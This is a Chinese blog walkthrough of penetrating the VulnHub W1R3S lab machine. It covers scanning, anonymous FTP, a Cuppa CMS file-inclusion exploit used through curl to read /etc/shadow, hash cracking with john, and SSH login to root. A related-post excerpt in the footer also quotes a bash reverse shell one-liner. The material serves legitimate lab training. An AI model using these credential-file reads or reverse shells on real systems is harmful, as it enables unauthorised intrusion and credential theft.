VulnHub靶机渗透实战(详细思路讲解)

于 2024-07-21 17:45:24 发布
阅读量1.8k 收藏 45
点赞数 41
分类专栏： 网络安全 nmap 实战靶场 文章标签： 网络安全 linux 网络攻击模型
版权声明：本文为博主原创文章，遵循 CC 4.0 BY-SA 版权协议，转载请附上原文出处链接和本声明。
本文链接：https://blog.csdn.net/weixin_65891791/article/details/140587865
版权

VulnHub靶机渗透

环境搭建

kali ip （192.168.168.135）
靶子机 ip （192.168.168.159）

靶子机下载地址https://www.vulnhub.com/entry/w1r3s-101,220/

渗透过程

arp扫描

对同一网段内所有主机发送arp请求，回复的就是存活主机，这里可以看到我们的靶子机（192.168.168.159）是存活的

arp-scan -l

在这里插入图片描述

在这里插入图片描述

nmap扫描

使用kali中的namp工具扫描开放端口，这时kali会用一个端口号向目标主机的65535个端口发送TCP连接建立请求，回应了ack=1，syn=q的端口就是开放端口号，这里可以看到21，22，80，3306号端口是开放的

nmap -p- 192.168.168.159

在这里插入图片描述

在这里插入图片描述

ftp登录

这里看到ftp服务是打开的，我们可以尝试进入ftp服务器中查看有没有我们需要的文件信息，ftp一般有个默认账户是anonymous，密码是空

ftp 192.168.168.159

在这里插入图片描述

将所有文件下载到kali本机中

在这里插入图片描述

在这里插入图片描述

查看文件

在这里插入图片描述

发现在02.txt文件中有一个md5编码的密码，在md5在线解密网站中解密
https://www.somd5.com/
还有一个base64编码https://gchq.github.io/CyberChef/

在这里插入图片描述
在这里插入图片描述

这里显示的是这不是一个密码，另一个显示这并不容易，说明这条路走不通了，只能查看下面两个文件
在这里插入图片描述
在这里插入图片描述
翻转过来也没有有价值的信息，只能再从另一个服务端口入手

网站渗透

靶子机还开放了80端口，所以我们可以登录下靶子机的web服务器，可以看到是一个apache服务器

在这里插入图片描述

扫描隐藏目录

dirsearch -u http://192.168.168.159

在这里插入图片描述

403的页面并没有什么价值，这里我们可以看到下面有个administrator的目录，是个关键信息，我们可以尝试进入这个页面，注意这个cuppaCMS，待会要用到

在这里插入图片描述

在这里插入图片描述

这里显示我们没有管理员的权限也没什么后续了，可以再找下一个页面

在这里插入图片描述

在这里插入图片描述
这里看到一个登录界面，可以尝试弱密码爆破下，实在不行再进行字典爆破，账户：admin，密码：admin

在这里插入图片描述

试了几个密码后发现它无法连接，并且都跳转到这个页面，说明这条路也走不通

漏洞利用

前面我们找到了一个cuppaCMS，可以直接上网上找下有没有相关版本的漏洞，或者直接在kali中找相关漏洞

searchsploit cuppa cms

在这里插入图片描述

在github上面也找到了相关的项目的源码

在这里插入图片描述

在kali中将25971.txt文件下载下来进行查看

在这里插入图片描述
在这里插入图片描述

可以看到这里有exploit漏洞利用的工具，我们可以直接使用，这里的target要改成靶子机的ip（192.168.168.159）
在这里插入图片描述
这里看到我们是没有成功进入这个网页的，应该是目录的问题，我们将目录修改一下，但是没有显示出来，可能是编码问题，再回到我们找到的源码
在这里插入图片描述
分析下面这个源码，是一个表单id和name发送一个post请求，请求url，可以利用kali自带的post请求工具进行测试
在这里插入图片描述

渗透攻击

这里是用kali自带的curl工具，进行post请求数据，将这里的passwd改成shadow就行

在这里插入图片描述

在这里插入图片描述

在这里插入图片描述

可以看到这里得到了很多哈希，带*号的是禁用的或者是空密码，将三个不带星号的密码复制下来，创建一个shell.txt文档，将三个密码复制进去

在这里插入图片描述

解密

john shell.txt（进行哈希解密）

在这里插入图片描述

可以看到我们得到了一个密码computer

ssh登录

在前面扫描端口时我们发现开启了ssh服务，这里我们可以用破解到的账户密码进行登录

在这里插入图片描述

登录成功后直接查看现在的组，然后进入特权模式

在这里插入图片描述

获得flag

列出文件，查看flag.txt文件

在这里插入图片描述

在这里插入图片描述

然后你就可以看到一把ak47啦，哈哈哈哈哈…恭喜你获得了这个靶子机的flag，继续加油吧

柠檬加醋如我心酸
关注
专栏目录
[网络安全自学篇] 六十五.Vulnhub靶机渗透之环境搭建及JIS-CTF入门和蚁剑提权示例（一）
杨秀璋的专栏
04-10 1万+
这是作者的网络安全自学教程系列，主要是关于安全工具和实践操作的在线笔记，特分享出来与博友们学习，希望您们喜欢，一起进步。前文分享了SMBv3服务远程代码执行漏洞（CVE-2020-0796），攻击者可能利用此漏洞远程无需用户验证，执行恶意代码并获取机器的完全控制。本文将详细讲解Vulnhub靶机渗透的环境搭建和JIS-CTF题目，采用Nmap、Dirb、中国蚁剑、敏感文件分析、SSH远程连接、Shell提权等获取5个flag。由于hack the box速度堪忧，作者选择了Vulnhub靶场，希望深入分析来
[网络安全自学篇] 六十六.Vulnhub靶机渗透之DC-1提权和Drupal漏洞利用（二）
杨秀璋的专栏
04-11 1万+
这是作者的网络安全自学教程系列，主要是关于安全工具和实践操作的在线笔记，特分享出来与博友们学习，希望您们喜欢，一起进步。前文分享了Vulnhub靶机渗透的环境搭建和JIS-CTF题目，采用Nmap、Dirb、中国蚁剑、敏感文件分析、SSH远程连接、Shell提权等获取5个flag。本文将讲解DC-1提权和Drupal漏洞利用，通过信息收集、CMS漏洞搜索、Metasploit反弹shell、提权及数据库爆破获取flag。本文是一篇Web渗透的基础性文章，希望对您有所帮助。
Vulnhub靶场实战---DC-7
一期一会的博客
01-18 3280
0x00 环境准备 1.靶场下载官网地址 https://www.vulnhub.com/entry/dc-7,356/ 2.下载完成以后直接导入vm，kali，靶机均使用均使用NAT模式连接， 攻击机：kali 192.168.88.130 靶机：DC-7 192.168.88.133 0x01 信息收集 1.探测88网段主机，使用nmap扫描。 -sn Ping探测扫描主机，不进行端口扫描（测试过对方主机把icmp包都丢弃掉，依然能检测到对方开机状态） -sp 进行Ping扫描 -sA
Vulnhub-DC-1实战靶场
ierciyuan的博客
10-12 2687
本次靶场实战涉及信息收集、漏洞查找与利用、getshell、数据库渗透、密码破解、linux提权，并找到官方设计的5个flag。
vulnhub靶场实战：DC-1
huangyongkang666的博客
04-18 4562
vulnhub实战：DC-1 1.DC-1介绍 DC-1是一个专门构建的易受攻击的实验室，目的是在渗透测试领域获得经验。 它旨在为初学者带来挑战，但它的容易程度将取决于您的技能和知识以及您的学习能力。 要成功完成此挑战，您将需要Linux技能，熟悉Linux命令行以及具有基本渗透测试工具的经验，例如可以在Kali Linux或Parrot Security OS上找到的工具。 有多种方法可以获得root，但是，我包含了一些包含初学者线索的标志。 总共有五个flag，但最终目标是在root的主目录中找到并读取
VulnHub渗透测试实战靶场-HA：NARAK
LYJ20010728的博客
08-20 855
VulnHub渗透测试实战靶场-HA：NARAK环境下载HA：NARAK靶机搭建渗透测试信息搜集漏洞挖掘getshell提权 环境下载 戳此进行环境下载 HA：NARAK靶机搭建 将下载好的靶机导入Vmware，网络连接设置为NAT模式即可 渗透测试 信息搜集 用arp-scan探测一下网段内目标靶机的IP：sudo arp-scan -l 得到目标靶机的IP为：192.168.246.140 使用 nmap 扫描开放的端口：sudo nmap -sU -Pn 192.168.
[渗透测试实战]vulnhub靶场1 初步掌握渗透流程（详细步骤）
知识库总结、分享
07-01 1983
Fuzzing可以帮助发现那些常规的安全测试无法发现的漏洞和弱点，因为它可以测试系统的响应能力，以及处理异常数据的能力。目前已知系统提供的服务ssh和http，web用的是WordPress cms系统，渗透系统希望获得用户和密码，访问WordPress看能不能得到账户信息。拿到正确参数，需要传入参数访问url拿到系统信息，参数file是文件的意思，第一想到的是拿到系统的账户文件/etc/passwd,继续传参数访问。不报gcc相关的错误了，也算解决了一个问题，又出现了程序执行权限问题，真是大肠包小肠！
[网络安全自学篇] 七十五.Vulnhub靶机渗透之bulldog信息收集和nc反弹shell（三）
杨秀璋的专栏
05-12 1万+
这是作者网络安全自学教程系列，主要是关于安全工具和实践操作的在线笔记，特分享出来与博友们学习，希望您喜欢，一起进步。前文分享了APT攻击检测溯源与常见APT组织的攻击案例，并介绍防御措施。这篇文章将讲解Vulnhub靶机渗透题目bulldog，包括信息收集及目录扫描、源码解读及系统登陆、命令注入和shell反弹、权限提升和获取flag。本文是一篇Web渗透的基础性文章，希望对您有所帮助。
渗透测试 ( 2 ) --- 渗透测试系统、靶机、GoogleHacking、kali工具
墨鱼菜鸡
07-11 2394
操作系统：https://zhuanlan.zhihu.com/p/162865015 1、基于 Windows、Linux、Android 的渗透测试系统 1.1 基于 Linux 的系统 Kali：https://www.kali.org/get-kali/Parrot Security OS：Parrot Securitybackbox：ht...
[网络安全自学篇] 八十二.WHUCTF之隐写和逆向类解题思路WP（文字解密、图片解密、佛语解码、冰蝎流量分析、逆向分析）
热门推荐
杨秀璋的专栏
06-04 1万+
这是作者网络安全自学教程系列，主要是关于安全工具和实践操作的在线笔记，特分享出来与博友们学习，希望您喜欢，一起进步。前文分享了Easy_unserialize解题思路，详细分享文件上传漏洞、冰蝎蚁剑用法、反序列化phar等。这篇文章将详细讲解WHUCTF隐写和逆向题目，包括文字解密、图片解密、佛语解码、冰蝎流量分析、逆向分析。第一次参加CTF，还是学到了很多东西。人生路上，要珍惜好每一天与家人陪伴的日子。感谢武汉大学，感谢这些大佬和师傅们（尤其出题和解题的老师们）~
Vulnhub靶场题解
08-24
介绍靶场的习题解答技巧，由红日团队精心编制，红日团队凭借多年经验于本文档
VulnHub靶场渗透实战-hackable3
随心所欲不逾矩
11-11 891
靶场环境：Virtualbox（最后总结出来：用新版本导入）网络模式：桥接。靶场难度：中等。结果思路总结：本节使用的工具和漏洞难度中等，涉及到CTF中的隐写术，Brainfuck解密。
Vulnhub-DC-2实战靶场
ierciyuan的博客
10-27 1722
vulnhub的dc-2靶场。信息收集、漏洞利用等，详细的分步打靶。
VulnHub-DarkHole_2靶机实战(超详细保姆级教程)
最新发布
精品博客,你值得一看~
08-13 4483
记得我们查看过9999端口运行的程序，当我们看到源代码的内容时，我们看到这允许远程命令执行。bash -c ‘bash -i >& /dev/tcp/192.168.184.156/9001 0>&1’ #记得修改你的IP。id=1' and 1=2 --+ #页面信息消失,说明id的闭合为单引号。到此,我们就可以进行ssh连接了.下面是拓展工具注入的方式.着急看结果的宝宝们可以直接移步下面的ssh连接步骤.
vulnhub靶场{GoldenEye-v1靶场实战}
AerYinan的博客
02-10 3450
vulnhub靶场{GoldenEye-v1靶场实战}
Vulnhub靶机实战-CYNIX 1
黑白的博客
01-18 569
声明 好好学习，天天向上 搭建 官方建议virtual打开，我这里都调成桥接 渗透 存活扫描，发现目标 arp-scan -l 端口扫描 nmap -T4 -A 192.168.31.121 -p 1-65535 -oN nmap.A 开启端口 发现开启80，6688 访问80 http://192.168.31.121 目录扫描 gobuster dir -u http://192.168.31.121 -w /usr/share/wordlists/dirbuster/directory-lis
全网最详细的渗透测试靶机实操步骤——vulnhub靶机实战（一）Tr0ll
hyjcking的博客
11-20 2266
超级详细的步骤，希望可以为你解决这台靶机提供思路 说实话这个靶机不算难，但是却能比较好的巩固自己的基础知识，期间也遇到了自己不太懂的知识，会做和做的快是有区别的，在渗透这条路上还是任重而道远呐，继续加油
全网最详细的渗透测试靶机实操步骤——vulnhub靶机实战（三）w1r3s-101
hyjcking的博客
11-24 1192
在游览器中输入上面的url，页面没有回显，但是可以肯定的是这个php文件是存在的，可能是因为这个网站的cms经过二次开发导致目录结构发生改变，所以无法访问通，所以我打算使用curl对参数urlconfig进行urlencode编码。接下来我们只需要破解这段密文即可，把拥有密码的几个用户全部保存到pass.txt文档上（在桌面创建一个），然后命令：john pass.txt跑出密码。接下来的步骤就很明朗了，直接去百度上搜cuppa cms的漏洞，找到漏洞编号。开启靶机之后先扫了一下内网IP找到靶机的IP。
评论
添加红包

请填写红包祝福语或标题

个

红包个数最小为10个

元

红包金额最低5元

当前余额3.43元 前往充值 >
需支付：10.00元
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付元
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明：

1.余额是钱包充值的虚拟货币，按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载，可以购买VIP、付费专栏及课程。

余额充值